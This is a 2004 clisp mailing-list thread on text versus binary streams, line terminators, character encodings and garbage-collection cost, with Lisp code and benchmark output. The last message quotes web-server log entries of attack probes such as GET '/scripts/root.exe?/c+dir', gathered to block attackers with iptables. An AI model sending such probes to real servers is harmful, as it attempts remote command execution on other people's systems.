in a lisp program to find out what type of http request is arriving.

I think these are characters, and a programming language should be
able to deliver them to me as characters.  If I use an ebcdic machine
then perhaps I should use some non-default encoding to do that.  There
is, after all, an ascii character set that is supported by clisp.  I
don't know what it does with bytes>127, but I suggest that it would be
useful to support a character set that agrees with ascii up to 127 and
assigns some (I don't really care which) characters to 128-255.  I
believe that whatever character set I now use does satisfy these
requirements.  I should then be able to use that character set to read
whatever bytes are in my file, whether or not you happen to view it as
a "text" file.



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Don Cohen writes:
> Pascal J.Bourguignon writes:
>  > But once  you copy your files  in BINARY mode, they're  no longer TEXT
>  > files. They are  now binary file, and you  cannot read CHARACTERS from
>  > them only BYTES.   If you want to have the exact  same behavior on the
>  > three  systems  BYTE-FOR-BYTE, you  must  read  and  write BYTES,  not
>  > LINES of CHARACTERS.
> 
> What determines whether they are binary or text files in the first
> place? 

It depends on the operating system you're using.

On unix, it's entirely up to the user and the library and applications
you're using.

On  MS-DOS  and  Macintosh,   it's  the  applications  that  tell  the
OS/libraries how  to consider the file  at open time. (The  "b" in the
mode argument of fopen).

On other operating  system the file system knows  exactly what kind of
file it stores and how they are structured.

> If I create them emacs are they text?

You should ask to users of emacs  on VMS.  But I guess that most files
created with emacs are indeed text files.

> If I copy them with scp do they remain text?



> If I name them .txt does that make them text?

That would be irrelevant on the OS I know.


> I have to say that I don't see any well defined boundary.

Because  you seem  to know  only  operating systems  where there's  no
boundary.  Common-Lisp is  designed  to  be able  to  run portably  on
operating systems that make  the distinction between text files, fixed
record  binary files,  variable  record binary  files, indexed  files,
sequential access files, etc.


> I'm not so sure I really see any boundary at all.
> Do you think that a file could possibly contain
> part text and part binary data?

Not from the point of view of Common-Lisp, and the OS that I know that
make the distinction  between text and binary. 

But  why do  you  think clisp  developer  took the  time to  implement
EXT:CONVERT-STRING-FROM-BYTES  and  EXT:CONVERT-STRING-TO-BYTES?  They
are useful to embed text into a binary file.

And note that these OS are not only legacy OS.  PalmOS for example has
only  record-structured files,  and text  can be  stored one  line per
record (no CR/LF problem there!).
 

>  > Then  don't   use  CHARACTERS  and   CHAR-CODE/CODE-CHAR  since  these
>  > functions  ARE IMPLEMENTATION  DEPENDENT!
> So you think that when I look at some RFC that talks about the
> "US-ASCII coded character set" that I should be reading in binary.

Indeed, if you  want to manipulate the packets  or the streams defined
by the Internet  RFC, you'd better do  it in binary.  If you  do it in
text,  on unix  or on  macintosh you'd  have problems  with  CRLF line
terminations that are mandatory in Internet protocols.


> You think that when it talks about "GET" this should be viewed as
> a sequence of bytes.  I should not use the character string "GET"
> in a lisp program to find out what type of http request is arriving.

What you get  for "GET" depends on the encoding of  the source of your
lisp program!

 
> I think these are characters, and a programming language should be
> able to deliver them to me as characters.  If I use an ebcdic machine
> then perhaps I should use some non-default encoding to do that.  There
> is, after all, an ascii character set that is supported by clisp.  

By clisp but NOT by COMMON-LISP!  
That's where the portability enters the scene.


> I don't know what it does with bytes>127, but I suggest that it
> would be useful to support a character set that agrees with ascii up
> to 127 and assigns some (I don't really care which) characters to
> 128-255.  I believe that whatever character set I now use does
> satisfy these requirements.  I should then be able to use that
> character set to read whatever bytes are in my file, whether or not
> you happen to view it as a "text" file.
 

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> What determines whether they are binary or text
> files in the first
> place?  If I create them emacs are they text?
> If I copy them with scp do they remain text?
> If I name them .txt does that make them text?
> I have to say that I don't see any well defined
> boundary.
> I'm not so sure I really see any boundary at all.
> Do you think that a file could possibly contain
> part text and part binary data?

You're right there is no boundry, a file is just a
bunch of ones and zeros on your hard disk, a byte is
really just a byte is a byte.  What you you do with
the data is what makes the difference, ie allow hex
0x41 to represent what humans call "A".

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 > You have enough customizable variables, from *print-pretty* to the
 > symbols in the CUSTOM package, that you can set in your .clisprc.lisp file.

Init files are really not adequate for things that affect programs
that are run by different people on different machines.
You might imagine that *print-pretty* should not affect programs, but 
I've found many times that this is just not true.  The last case
(provoking a recent message to this list) was a program that was
trying to manage the space on a screen.  I wanted to print something
on the top line of the screen.  I position the cursor to the top of
the screen and do (princ "...") and the text comes out on the second
line!
I think the only solution is that this program should include in its
code (setf *print-pretty* nil).  Considering the amount of time I've
spent tracking down such problems it seems clear that I really ought 
to do that in every lisp program I write.
The unicode stuff is similar.  I've started to put in my batch files
 export LANG=en_US
but I now begin to think that this ought to be replaced by another 
form in every lisp program I write.
I guess this means that my web server only runs in English.
At least for clisp.

 > The default is set so that clisp becomes most useful to newbies, without
 > customization. If all other Lisps look frightening to newbies, that's
 > not a reason why clisp should look the same.

I think I've heard this argument before.
There's certainly room for argument about what's useful or frightening
to newbies.  (They probably know better what frightens them than what
is useful or good for them.) 
In any case, I gave up long ago on this one.  I just have to keep
learning to set it.  I should perhaps thank you for making me fix
my programs to not rely on this implementation dependent value.
(Is there a list of other global variables with implementation
dependent initial values?)

 > > To me the issue is what exactly is a newline.
 > > I don't think it has to be the same as #\return or #\linefeed.
 > > I think that if the line terminator mode is :unix then it should
 > > be ok for READ-LINE to return a string with an embedded #\return
 > > and if line terminator mode is :mac then it should be ok to return
 > > a string with #\linefeed, and if :dos then it should be ok to
 > > return a string with both of those (but not #\return followed
 > > immediately by #\linefeed).
 > 
 > This is the way it's done in Java. And it's shitty: although the standard
 > way to designate a string with an embedded newline is "foo\n", when you
 > write a string to a file stream, you find out that
 >     stream.print("foo\n");
 > does not the same thing as
 >     stream.println("foo");

Knowing practically nothing about java, I will not attempt to explain 
or defend it.  However, it seems inevitable that if you try to map
multiple file representations to the same memory representation then
the reverse mapping will (and should) be one to many.  The best you
can do is provide some way to control both the input and output
mappings.  That's what I want to do.  If you like the current behavior
then let that be the default.

Clearly my current solution is exactly what I want.
I read 8 bit bytes and then call code-char, using an encoding that
gives me 256 different characters for the 256 bytes.
It just seems silly that this should be the best (maybe only) way
to get the desired result.


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Sam Steingold wrote:
> I think he wants to re-use the vector (a la READ-SEQUENCE).
> CONVERT-STRING-TO-BYTES will always allocate a fresh vector.
> Maybe an :OUTPUT + :START-OUTPUT combination is needed:
>
> (EXT:CONVERT-STRING-FROM-BYTES byte-vector encoding
>                                :START 10 :END 33
>                                :OUTPUT string :START-OUTPUT 17)
>
> will write characters into STRING starting at position 17.
> (and using ADJUST-ARRAY if STRING is shorter than 40)

While it's theoretically possible to add options like this, you will note
that functions which do complex operations _and_ store the result
destructively somewhere are rare in Lisp. The only one that comes to mind
are MAP-INTO and the BIT array operations. There is no RPLACBOTH, no
NSUBSEQ, no NCONCATENATE, etc. (The reason is, of course, that destructive
operations kill the functional programming style.)

Therefore I would add such options only after an investigation would show
that the garbage collection overhead due to the strings created by
EXT:CONVERT-STRING-FROM-BYTES is not bearable.

> still, each character is an integer, right?
> (even 21 bit integer!)

Still, for creating portable programs, you best view a character just as
the contents of a string of length 1, and forget about the mapping to
integer.

Bruno



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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-03-18 01:53:52 +0100]:
>
> Imagine  you copy  your lisp  program  to three  different systems:  a
> Macintosh system, a MS-Windows system and a unix system, and that with
> you same lisp  program on these three systems, you try  to read a TEXT
> file named example.txt transfered thru  FTP as a text file between the
> three systems.
>
> In clear, on the Macintosh you'll have in the file: "texttext[CR]texttext[CR]"
> on the unix system you'll have "texttext[LF]texttext[LF]"
> and on MS-Windows you'll have  "texttext[CR][LF]texttext[CR][LF]".
>
> Then with your scheme your three identical copies of your program wont
> read the same data of the same text file.

yes it will.

(with-open-file (i "foo" :direction :input)
  (list (read-line i) (read-line i)))

will return ("texttext" texttext") on each platform, both now and with
the proposed separation of #\Newline from #\Linefeed.

even when these 3 different files are read on the same platform, this
list ("texttext" texttext") will be read by this form:

(with-open-file (i "foo" :direction :input
                 :external-format (make-encoding :line-terminator-strict-p nil))
  (list (read-line i) (read-line i)))

or by using the right form for each file:

(with-open-file (i "foo" :direction :input :external-format :dos)
  (list (read-line i) (read-line i)))

...

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> * Bruno Haible <oehab@pyvfc.bet> [2004-03-18 13:44:10 +0100]:
>
> Sam Steingold wrote:
>> I think he wants to re-use the vector (a la READ-SEQUENCE).
>> CONVERT-STRING-TO-BYTES will always allocate a fresh vector.
>> Maybe an :OUTPUT + :START-OUTPUT combination is needed:
>>
>> (EXT:CONVERT-STRING-FROM-BYTES byte-vector encoding
>>                                :START 10 :END 33
>>                                :OUTPUT string :START-OUTPUT 17)
>>
>> will write characters into STRING starting at position 17.
>> (and using ADJUST-ARRAY if STRING is shorter than 40)
>
> While it's theoretically possible to add options like this, you will
> note that functions which do complex operations _and_ store the result
> destructively somewhere are rare in Lisp. The only one that comes to
> mind are MAP-INTO and the BIT array operations. There is no RPLACBOTH,
> no NSUBSEQ, no NCONCATENATE, etc. (The reason is, of course, that
> destructive operations kill the functional programming style.)

there are READ-SEQUENCE and REPLACE.
I think that CONVERT-STRING-FROM-BYTES _is_ a kind of READ-SEQUENCE,
mentally implemented as (READ-SEQUENCE (make-array) (bytes->stream))

> Therefore I would add such options only after an investigation would
> show that the garbage collection overhead due to the strings created
> by EXT:CONVERT-STRING-FROM-BYTES is not bearable.

it depends on the pattern of usage.
if Don ends up using CONVERT-STRING-FROM-BYTES instead of
READ-SEQUENCE exclusively, then the semantics should be similar.

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> > Therefore I would add such options only after an investigation would
> > show that the garbage collection overhead due to the strings created
> > by EXT:CONVERT-STRING-FROM-BYTES is not bearable.
>
> it depends on the pattern of usage.

OK, then show me one usage, together with benchmark results, where the GC
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Sam wrote:
> >   1) So many operations will give subtly different results, starting
> >   from (length string), (map 'list string), the hash code of a string
> >   and thus also the order of traversal of a hash table containing
> >   strings as keys, up to all kinds of string manipulation functions
> >   that work by scanning a string.
>
> why?
> the only change is that (char-code #\Newline) is not 10 anymore.

This alone creates portability problems. Around 16 years ago, the conventions
on the Mac were just the converse than on Unix: \n was 0x0D and \r was 0x0A.
And _of course_ when you ported programs from a Mac to Unix you had to
change \r into \n in a lot of places.

> When :LINE-TERMINATOR-STRICT-P is T, you will get #\Newline for the
> appropriate line terminator and the original control character
> otherwise.

What Don proposed, was that on Windows, a line ends with two whitespace
characters, not just one #\Newline. Here is a good example for some innocent
looking code that is broken by such a change:

(let ((s (make-string-input-stream "xy
z"))) (progn (read s) (read-char s)))

would return #\z on Unix and #\LF in Don Cohen's "Windows faithful" mode.
There are lots of examples like this.

Bruno



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Bruno Haible writes:
 > > the only change is that (char-code #\Newline) is not 10 anymore.
 > 
 > This alone creates portability problems. Around 16 years ago, the
 > conventions
 > on the Mac were just the converse than on Unix: \n was 0x0D and \r was 0x0A.
 > And _of course_ when you ported programs from a Mac to Unix you had to
 > change \r into \n in a lot of places.

Clearly the current implementation choice is useful when you
want to write a text file that will be compatible with the other 
tools on whatever system you're using, and also when you want to
read it back in on any other system.
I don't propose that you get rid of it.

 > > When :LINE-TERMINATOR-STRICT-P is T, you will get #\Newline for the
 > > appropriate line terminator and the original control character
 > > otherwise.
 > 
 > What Don proposed, was that on Windows, a line ends with two whitespace
 > characters, not just one #\Newline. Here is a good example for some innocent
 > looking code that is broken by such a change:
 > 
 > (let ((s (make-string-input-stream "xy
 > z"))) (progn (read s) (read-char s)))
 > 
 > would return #\z on Unix and #\LF in Don Cohen's "Windows faithful" mode.
 > There are lots of examples like this.

All of those examples also apply to binary IO which is what I'm 
forced to do now.  I'm not expecting the new faithful mode to
hide/solve these differences.  I just want to deal with characters
instead of bytes.  In fact, I currently do deal with characters.  
I read bytes and convert them to characters.

Let's just consider the question of what's the "right" way to 
deal with input when you write a web server in Clisp.
I see three possible positions so far.
- use only bytes (I think this is Pascal's position)
- read bytes and convert them to characters, then use characters
  internally - this is what I do now
- read characters in "faithful" mode
  This is what I think is best.

As a separate matter, we might consider what the "right" way would
be to do such IO in portable common lisp.  I think Pascal's argument 
is that the spec doesn't even promise that there will 256 characters
so it's pretty much hopeless to do anything other than stick to
bytes.

This issue does not really apply to my server.  It became clear long
ago that this particular program was not going to be possible to write
in portable common lisp, which does not even support network sockets,
let alone determining how much output can be written without blocking
(which would be replaced by multiple threads in an implementation
supporting that).


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Don Cohen wrote:
> Let's just consider the question of what's the "right" way to
> deal with input when you write a web server in Clisp.
> I see three possible positions so far.
> - use only bytes (I think this is Pascal's position)
> - read bytes and convert them to characters, then use characters
>   internally - this is what I do now
> - read characters in "faithful" mode
>   This is what I think is best.

I think for a web server the second option is best, for two reasons:

  - The HTTP protocol is defined in terms of bytes. The byte stream of
    an HTTP connection can contain binary data as well, for example after
    a POST request some binary data can be sent, IIRC.

  - For security reasons, you may want to control explicitly all I/O
    conversions. Which is hard if you use the Lisp implementation's
    READ-CHAR / READ-LINE black box.

Of course you can use READ-CHAR and READ-LINE on portions of the stream,
if you use a Gray stream for converting READ-CHAR calls into
READ-BYTE calls.

> As a separate matter, we might consider what the "right" way would
> be to do such IO in portable common lisp.  I think Pascal's argument
> is that the spec doesn't even promise that there will 256 characters
> so it's pretty much hopeless to do anything other than stick to
> bytes.

Yes, ANSI CL promises 96 characters, not more.

And I don't remember why CLISP's interpretation of ISO-8859-1 contains the
control characters 0x80..0x9F. The standards are not clear on this issue.
ISO-8859-1 doesn't contain them, but ISO-8859-1 is usually viewed as the
8-bit portion of Unicode, and Unicode has control characters at 0x80..0x9F.
Probably I included this range only so that J=F6rg could use the character
#\U009B on Amiga... So: don't count on it. The details of I/O conversion
in READ-CHAR are up to the implementation.

Bruno



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> * Bruno Haible <oehab@pyvfc.bet> [2004-03-18 14:52:11 +0100]:
>
> Sam Steingold wrote:
>> > Therefore I would add such options only after an investigation would
>> > show that the garbage collection overhead due to the strings created
>> > by EXT:CONVERT-STRING-FROM-BYTES is not bearable.
>>
>> it depends on the pattern of usage.
>
> OK, then show me one usage, together with benchmark results, where the GC
> does not do its job sufficiently well.


(ext:times
 (with-open-file (in "foo" :element-type 'unsigned-byte)
   (let ((bytes 0) (chars 0)
         (buf (make-array 1024 :element-type 'unsigned-byte)))
     (loop (let ((got (read-sequence buf in)))
             (incf bytes got)
             (incf chars (length (ext:convert-string-from-bytes
                                  buf charset:utf-8)))
             (unless (= got (length buf))
               (return (values bytes chars))))))))


                                            Permanent            Temporary
Class                                  instances   bytes    instances   bytes
-----                                  --------- ---------  --------- ---------
SIMPLE-STRING                                  0         0     435575 265098784
EXT:SIMPLE-8BIT-VECTOR                         1        48      62218  64210044
CONS                                           0         0    2862903  22903224
SYMBOL                                         0         0     124446   3484488
SIMPLE-VECTOR                                  6       272     186748   3241416
BIGNUM                                         2        24      91662   1099944
FUNCTION                                       0         0         42      1668
SYSTEM::ANODE                                  0         0         24       576
SYSTEM::FNODE                                  0         0          3       336
SIMPLE-BIT-VECTOR                              0         0         29       276
SYSTEM::VAR                                    0         0          4       272
HASH-TABLE                                     1        56          3       168
STREAM                                         0         0          3       192
STRING-STREAM                                  0         0          3       180
VECTOR                                         0         0          6       168
FILE-STREAM                                    0         0          1       144
STRING                                         0         0          6       144
SYSTEM::CONST                                  0         0          5       120
PATHNAME                                       0         0          5       100
STANDARD-GENERIC-FUNCTION                      0         0          2        40
BLOCK                                          0         0          1        36
-----                                  --------- ---------  --------- ---------
Total                                         10       400    3763689 360042320

Real time: 51.568 sec.
Run time: 41.54 sec.
Space: 360900936 Bytes
GC: 606, GC time: 15.705 sec.
63707377 ;
63708160

note that over 35% of time is spent on GC!

BTW, why do I get more chars than bytes as the return value?
this is a pure ASCII file!

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Bruno Haible writes:
> This alone creates portability problems. Around 16 years ago, the conventions
> on the Mac were just the converse than on Unix: \n was 0x0D and \r was 0x0A.
> And _of course_ when you ported programs from a Mac to Unix you had to
> change \r into \n in a lot of places.

This  is  not  a portability  problem.   This  is  a good  thing  that
assumptions that you should not make be questionned from time to time.

I'd really  like to  see a Common-Lisp  implementation that  would use
random values for all that is implementation dependent. A program that
would run conformably and bug  free on such an implementation would be
really  portable,  so this  kind  of  implementation  would be  really
valuable to application developers.


> > When :LINE-TERMINATOR-STRICT-P is T, you will get #\Newline for the
> > appropriate line terminator and the original control character
> > otherwise.
> 
> What Don proposed, was that on Windows, a line ends with two whitespace
> characters, not just one #\Newline. Here is a good example for some innocent
> looking code that is broken by such a change:
> 
> (let ((s (make-string-input-stream "xy
> z"))) (progn (read s) (read-char s)))
> 
> would return #\z on Unix and #\LF in Don Cohen's "Windows faithful" mode.
> There are lots of examples like this.

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Bruno Haible writes:
> And I don't remember why CLISP's interpretation of ISO-8859-1 contains the
> control characters 0x80..0x9F. The standards are not clear on this issue.
> ISO-8859-1 doesn't contain them, but ISO-8859-1 is usually viewed as the
> 8-bit portion of Unicode, and Unicode has control characters at 0x80..0x9F.
> Probably I included this range only so that J=F6rg could use the character
> #\U009B on Amiga... So: don't count on it. The details of I/O conversion
> in READ-CHAR are up to the implementation.

You'd  have to check  the official  standard.  There's  some ambiguity
concerning  0x80..0x9f.  Most "ISO  8859" glose  exclude them,  but on
wikipedia,  after giving  a first  table for  "ISO 8859"  with control
ranges marked as  "unused", they note that IANA  defined an "ISO-8859"
(not (string-equal  "ISO 8859"  "ISO-8859")) where the  control ranges
are filled with ASCII control codes and 32 additionnal control codes.

http://en.wikipedia.org/wiki/Latin-1

Note  that  they  call  them  "control  character",  but  I  take  the
precaution to call  them "control codes", not characters.   But on the
other hand, Common-Lisp has characters such as #\newline.  

The control codes  are useful only on the wire,  and generaly can't be
converted  to  other  character  encoding, while  the  characters  are
abstracted and independent  from any encoding, which allow  them to be
encoded with different encoding.

IMO, the undestanding of Common-Lisp  is that a stream that comes from
the wire should be read in binary, codes should be handled as byte and
codes corresponding to characters should be decoded to characters. The
structuring implied by the control codes should traslate to high level
structuring  (objects,  structures, array,  lists).   Clearly this  is
quite different from the point of view of unix/posix.



It's really a shame that ISO standard documents not be more available,
they make a lot of people lose a lot of time on these questions...

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Sam Steingold writes:
> (ext:times
>  (with-open-file (in "foo" :element-type 'unsigned-byte)
>    (let ((bytes 0) (chars 0)
>          (buf (make-array 1024 :element-type 'unsigned-byte)))
>      (loop (let ((got (read-sequence buf in)))
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>              (incf chars (length (ext:convert-string-from-bytes
>                                   buf charset:utf-8)))
>              (unless (= got (length buf))
>                (return (values bytes chars))))))))
> 
> BTW, why do I get more chars than bytes as the return value?
> this is a pure ASCII file!

read-sequence does not set the fill pointer of the array, the more so
if it has no fill pointer!

[71]> (let ((a (make-array '(64) :element-type 'unsigned-byte :initial-element 0))) (with-open-stream (in (make-string-input-stream "BONJOUR")) (values a (read-sequence a in))))
#(#\B #\O #\N #\J #\O #\U #\R 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) ;





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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-03-18 21:02:13 +0100]:
>
> I'd really like to see a Common-Lisp implementation that would use
> random values for all that is implementation dependent. A program that
> would run conformably and bug free on such an implementation would be
> really portable, so this kind of implementation would be really
> valuable to application developers.

How about a CLISP option "-r" which would do just that - assign random
valid values to the implementation dependent variables :-)

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Date: Thu Mar 18 13:26:02 2004
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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-03-18 21:02:13 +0100]:
> >
> > I'd really like to see a Common-Lisp implementation that would use
> > random values for all that is implementation dependent. A program that
> > would run conformably and bug free on such an implementation would be
> > really portable, so this kind of implementation would be really
> > valuable to application developers.
> 
> How about a CLISP option "-r" which would do just that - assign random
> valid values to the implementation dependent variables :-)

If you fancy it.  I would definitely use it along with -ansi!

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Date: Thu Mar 18 13:34:06 2004
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Sam wrote:
> (ext:times
>  (with-open-file (in "foo" :element-type 'unsigned-byte)
>    (let ((bytes 0) (chars 0)
>          (buf (make-array 1024 :element-type 'unsigned-byte)))
>      (loop (let ((got (read-sequence buf in)))
>              (incf bytes got)
>              (incf chars (length (ext:convert-string-from-bytes
>                                   buf charset:utf-8)))
>              (unless (=3D got (length buf))
>                (return (values bytes chars))))))))
> ...
> Real time: 51.568 sec.
> Run time: 41.54 sec.
> Space: 360900936 Bytes
> GC: 606, GC time: 15.705 sec.
> 63707377 ;
> 63708160
>
> note that over 35% of time is spent on GC!

What kind of system is this on, and what kind of GC does it have?
(GENERATIONAL_GC or not? SPVW_BLOCKS or SPVW_PAGES?)

On Linux/x86 I get (where "foo" is produced as 10 times the concatenation
of all clisp/src/*.d files):

(defun foo (filename)
 (ext:times
  (with-open-file (in filename :element-type 'unsigned-byte)
   (let ((bytes 0) (chars 0)
         (buf (make-array 1024 :element-type 'unsigned-byte)))
     (loop (let ((got (read-sequence buf in)))
             (incf bytes got)
             (incf chars (length (ext:convert-string-from-bytes
                                  buf charset:utf-8)))
             (unless (=3D got (length buf))
               (return (values bytes chars)))))))))

(foo "in10")
                                            dauerhaft             tempor=C3=
=A4r
Klasse                                 Instanzen   Bytes    Instanzen   Byt=
es
=2D-----                                 --------- ---------  --------- ---=
=2D-----
SIMPLE-STRING                                  0         0      62236 25527=
3008
SIMPLE-8BIT-VECTOR                             0         0      62226  6422=
0304
CONS                                           0         0    1617865  1294=
2920
BIGNUM                                         2        24      91675   110=
0100
SIMPLE-VECTOR                                  0         0          1      =
4104
=46ILE-STREAM                                    0         0          1    =
   148
PATHNAME                                       0         0          4      =
  80
SIMPLE-BIT-VECTOR                              0         0          1      =
  12
=2D-----                                 --------- ---------  --------- ---=
=2D-----
Gesamt                                         2        24    1834009 33354=
0676

Real time: 18.288704 sec.
Run time: 18.15 sec.
Space: 334408540 Bytes
GC: 640, GC time: 0.76 sec.
63717750 ;
63693701

So, it's a very similar test to yours; the amount of GCs is nearly the same;
but here only 4% of the time is spent in GC.

> BTW, why do I get more chars than bytes as the return value?
> this is a pure ASCII file!

It may be an ASCII file containing CR/LFs...

Bruno



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Pascal J.Bourguignon wrote:
> You'd  have to check  the official  standard....
> It's really a shame that ISO standard documents not be more available,
> they make a lot of people lose a lot of time on these questions...

The final draft of ISO-8859-15 and -16 is online at
http://www.evertype.com/sc2wg3.html
but it doesn't answer the question about #x80..#x9F.

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> * Bruno Haible <oehab@pyvfc.bet> [2004-03-18 22:28:31 +0100]:
>
> Sam wrote:
>> (ext:times
>>  (with-open-file (in "foo" :element-type 'unsigned-byte)
>>    (let ((bytes 0) (chars 0)
>>          (buf (make-array 1024 :element-type 'unsigned-byte)))
>>      (loop (let ((got (read-sequence buf in)))
>>              (incf bytes got)
>>              (incf chars (length (ext:convert-string-from-bytes
>>                                   buf charset:utf-8)))
>>              (unless (= got (length buf))
>>                (return (values bytes chars))))))))
>> ...
>> Real time: 51.568 sec.
>> Run time: 41.54 sec.
>> Space: 360900936 Bytes
>> GC: 606, GC time: 15.705 sec.
>> 63707377 ;
>> 63708160
>>
>> note that over 35% of time is spent on GC!
>
> What kind of system is this on, and what kind of GC does it have?

how do I find this out from a running CLISP?
right now, I had to look at *lib-directory*, "make lispbibl.h" there
and grep through it.  this is not too reliable.
there gotta be a better way!

> (GENERATIONAL_GC or not? SPVW_BLOCKS or SPVW_PAGES?)

no GENERATIONAL_GC!!!  why?!
I do have libsigsegv:

$ grep -i sigsegv config.log
  $ configure --srcdir=../src --with-module=syscalls --with-module=regexp --with
-module=dirkey --with-module=bindings/win32 --with-libsigsegv-prefix=/usr/local/
libsigsegv-cygwin --cache-file=config.cache --no-create --no-recursion
configure:6897: checking for libsigsegv
configure:6964: checking how to link with libsigsegv
configure:6966: result: /usr/local/libsigsegv-cygwin/lib/libsigsegv.a
configure:22449: gcc -o conftest.exe -g -O2 -I/usr/local/libsigsegv-cygwin/inclu
de  conftest.c -lreadline -lncurses  >&5
cl_cv_lib_sigsegv=yes
CPPFLAGS='-I/usr/local/libsigsegv-cygwin/include'
LIBSIGSEGV='/usr/local/libsigsegv-cygwin/lib/libsigsegv.a'
LTLIBSIGSEGV='-L/usr/local/libsigsegv-cygwin/lib -lsigsegv'
#define HAVE_SIGSEGV 1
$ grep SPVW lispbibl.h
#define SPVW_MIXED
#define SPVW_PAGES
$

> Real time: 18.288704 sec.
> Run time: 18.15 sec.
> Space: 334408540 Bytes
> GC: 640, GC time: 0.76 sec.
> 63717750 ;
> 63693701
>
> So, it's a very similar test to yours; the amount of GCs is nearly the same;
> but here only 4% of the time is spent in GC.

OK, so generational GC does save the day, but even these 4% are not
really needed!

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Hi,

my perception of the thread is that what's really lacking is an *efficient* way to build streams of ad-hoc behaviour that interact nicely with all other stream and i/o functions.

Obvious difficulties:
 - interactive stream or not?
 - bidirectional or not (what's the mutual interference then)?
 - (setf stream-element-type)
 - efficiency (if you do read-char in CLISP, then something is wrong, because the code will be orders of magnitude slower than the built-in routines).

 - gray streams has a reputation of being dog slow (as would be anything using only characterwise i/o).
 - nobody implemented simple streams for CLISP
 - CLISP's buffered input or output streams are handy, but don't provide a solution w.r.t. interactiveness and bidrectionality, or (setf stream-element-type)

Yet ext:make-buffered-input-stream may be perfect for Don Cohen's current logfile processing needs.

>Clearly my current solution is exactly what I want.
>I read 8 bit bytes and then call code-char, using an encoding that
>gives me 256 different characters for the 256 bytes.
>It just seems silly that this should be the best (maybe only) way
>to get the desired result.

I recommend READ-BYTE-SEQUENCE and EXT:CONVERT-STRING-FROM-BYTES. That should be orders of magnitude faster and convert CR/LF as is.

If you cannot use built-in array manipulation functions in CLISP, then you loose big in speed (for anything in the area of i/O, FFI, character or number manipulations, etc.). That's what Erik Naggum once criticized, because he assumes this leads to or teaches people to write code that prefers a given solution path (introducing a bias) whereas it would be independent with those Lisp implementations that compile to native code and where almost everything including the i/o is written in Lisp, so no bias is introduced by the implementation and people can code towards the best design instead of the maximum use of built-in functions.

BTW, since you're reading httpd server log files, why is CR and/or LF a problem at all?? If you stick to CLISP's automatic conversion (which is perfect for text procesing), your code will run equally on httpd well on MS-Windows and UNIX machines. What am I missing?

Regards,
	Jorg Hohle.


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Date: Fri Mar 19 06:50:05 2004
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Moin Joerg-Cyril,

> BTW, since you're reading httpd server log files, why is CR and/or LF
> a problem at all?? If you stick to CLISP's automatic conversion (which
> is perfect for text procesing), your code will run equally on httpd well
> on MS-Windows and UNIX machines. What am I missing?

  i can not tell, what ANSI tells about - but autoconversion of \n to
  \r\n is a secure way to shoot your self into your foot, promoted by
  a major software house. The M$CC habbit to expand, will break
  calculations based on tell and seek and many more system calls.

  The problem started, when M$CC deceided to do the expansion based
  breaking the semantics of open, write and read system call
  emulations. A better way would have been to leave those calls as
  they are, and to implement a high level line mode on top.

  A portable application level line mode implementation, would better
  NOT allow any of the \n or \r characters to be part of the string,
  as mainframes either do not use any line break characters at the end
  of the line, but it might have ASA characters at the beginning of the
  line.

  Even Unix systems need \r\n for end of line, when talking interactive
  line mode telnet. Unix does not provide broken open,read and write
  system calls for auto expansion, but this is left to the user application
  for a good reason.

  Interactive line mode is much more difficult than batch line mode,
  if you think about IAC processing. Those commands could come in the
  middle of a line, e.g. the IAC GA command telling that this line is
  a "GO AHEAD" prompt and therefore finished WITHOUT linebreak, as the
  user has to type a line, which will do the linebreak. Now add color
  processing, and processing of double-print-characters (e.g. "^ha for
  &auml;) and double-print-line (using \r instead of \r\n) and you can
  imagine the can of worms.

  The question to the implementors: What are the requirements for an
  object class to integrate itself as a line mode stream into clisp ?
  (besides porting the low level funtions from GCL to FFI and making
  the system usabable at all ;-)

Bye Michael
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warning: Off-topic (OT), no reference to Lisp below.

Bruno Haible wrote:
>some innocent looking code that is broken by such a change:
>(let ((s (make-string-input-stream "xy
>z"))) (progn (read s) (read-char s)))
>would return #\z on Unix and #\LF in Don Cohen's "Windows=20
>faithful" mode.
>There are lots of examples like this.

This reminds me how for over 10 years, gcc's cpp was unable on UNIX to =
handle continuation lines (backslash at end of line) emanating from =
MS-DOS systems.

I.e. on UNIX, you had *often* no problems compiling a file using DOS =
CRLF.

But when the source code contained
#define frob(x) /* now it's getting long */ 1+ \
 (3 * (x) + FRODO)
cpp would halt with an error. You had to modify the source code to =
remove the CR after the backslash \ (or just convert the whole file to =
UNIX conventions).

I *really* think that it's great when CR/LF both disappear from my eyes =
and I can concentrate on the line's actual content. perl and php get =
this just plain wrong. CL's read-line gets it right.

I can cite abundant examples where varying CR/LF caused software to =
fail or behave strangely.

The most recent experience (just today), about having or not having =
CR/LF at the end of the last line of a file (so it's actually a =
different topic), was using sed on Solaris, which caused the last line =
to be completely dropped. :-(

Regards,
	J=C3=B6rg H=C3=B6hle.


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 > BTW, since you're reading httpd server log files, why is CR and/or
 > LF a problem at all?? If you stick to CLISP's automatic conversion
 > (which is perfect for text procesing), your code will run equally
 > on httpd well on MS-Windows and UNIX machines. What am I missing?

Since you ask, and I think you're going in the wrong direction,
I'll describe the context.

I've described earlier how my server reads bytes, converts them to
chars with code-char then manipulates them as chars.
My log files are written as characters with (print ...)
So I have no trouble just doing (read <log>) from the beginning
to the end.
I wrote a quick and dirty program to read all the log entries,
collect the requests, group them by IP address, sort the groups by 
size and show the first request for each ip address.
The result looks something like this: 

;; number of requests, ip address then earliest log entry
((153 "24.126.116.41" 
  (:HTTP "3/19/2004 20:40:00" "24.126.116.41" :GET
   "/scripts/root.exe?/c+dir"))  
 (16 "24.126.20.50" 
  (:HTTP "3/19/2004 23:19:17" "24.126.20.50" :GET
   "/scripts/root.exe?/c+dir")) 
 (13 "24.126.165.92" 
  (:HTTP "3/20/2004 00:06:10" "24.126.165.92" :GET 
   "http://www.outwar.com/page.php?x=888132")) 
 ...
The object is to identify the addresses sending the most attacks 
(all of above in this case are attacks) and stop listening to them, as
in 
 iptables -A INPUT -s 24.126.116.41 -j DROP 

A few days later when I had seen a bunch of new attacks I wanted to
do the same computation but starting from the middle of the log
so I didn't have to look at the old data.
My quick and (as it turns out, much too) dirty approximation was to
accept as input a file position and start reading at that position.
If it were a position where a log entry started everything would be
fine.  
